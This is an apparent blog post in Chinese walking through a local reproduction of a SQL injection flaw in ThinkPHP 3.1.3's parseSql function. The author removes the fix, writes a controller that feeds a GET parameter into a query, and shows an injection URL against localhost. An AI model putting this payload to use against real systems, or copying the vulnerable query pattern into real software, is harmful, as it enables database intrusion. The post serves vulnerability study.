ThinkPHP_3.1.3 SQL注入漏洞復現

首先在網上下載對應的壓縮包。
漏洞位於ThinkPHP/Lib/Core/Model.class.php 文件的parseSql函數
將這一條修復語句註釋後開始一步步復現
在這裏插入圖片描述
在ThinkPHP目錄下創建app文件夾後創建index.php
在這裏插入圖片描述
訪問相應頁面,顯示這個則說明成功。
在這裏插入圖片描述成功後app文件夾下會生成工程文件
在這裏插入圖片描述
然後開始配置數據庫(在app/conf/config.php下配置)

<?php
return array(
	//'配置項'=>'配置值'
// 添加數據庫配置信息
'DB_TYPE'   => 'mysql', // 數據庫類型
'DB_HOST'   => 'localhost', // 服務器地址
'DB_NAME'   => 'security', // 數據庫名
'DB_USER'   => 'root', // 用戶名
'DB_PWD'    => 'root', // 密碼
'DB_PORT'   => 3306, // 端口
'DB_PREFIX' => 'think_', // 數據庫表前綴
);
?>

下一步開始爲模塊定義一個控制器類:IndexAction.class.php。命名規範(模塊名+Action.class.php)

<?php
// 本類由系統自動生成,僅供測試用途
class IndexAction extends Action {
    public function index(){
	  //$this->name = 'thinkphp'; // 進行模板變量賦值
      //$this->display();
		
	$Data = M('Data'); // 實例化Data數據模型
    $this->data = $Data->select();
    $this->display();
	
	$model=M('think_data');
	$m=$model->query('select * from think_data where id="%s"',array($_GET['id']));
	dump($m);exit;
	}
	
}

創建視圖:在/Tpl下創建Index/index.html

<html>
 <head>
   <title></title>
 </head>
 <body>
    //<p>hello, {$name}!</p>
	<volist name="data" id="vo">
    {$vo.id}--{$vo.data}<br/>
    </volist>
 </body>
</html>

在瀏覽器訪問
http://127.0.0.1:9090/ThinkPHP_3.1.3_full/ThinkPHP/app/
在這裏插入圖片描述
http://127.0.0.1:9090/ThinkPHP_3.1.3_full/ThinkPHP/app/?id=1" or 1 –
在這裏插入圖片描述
復現結束

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章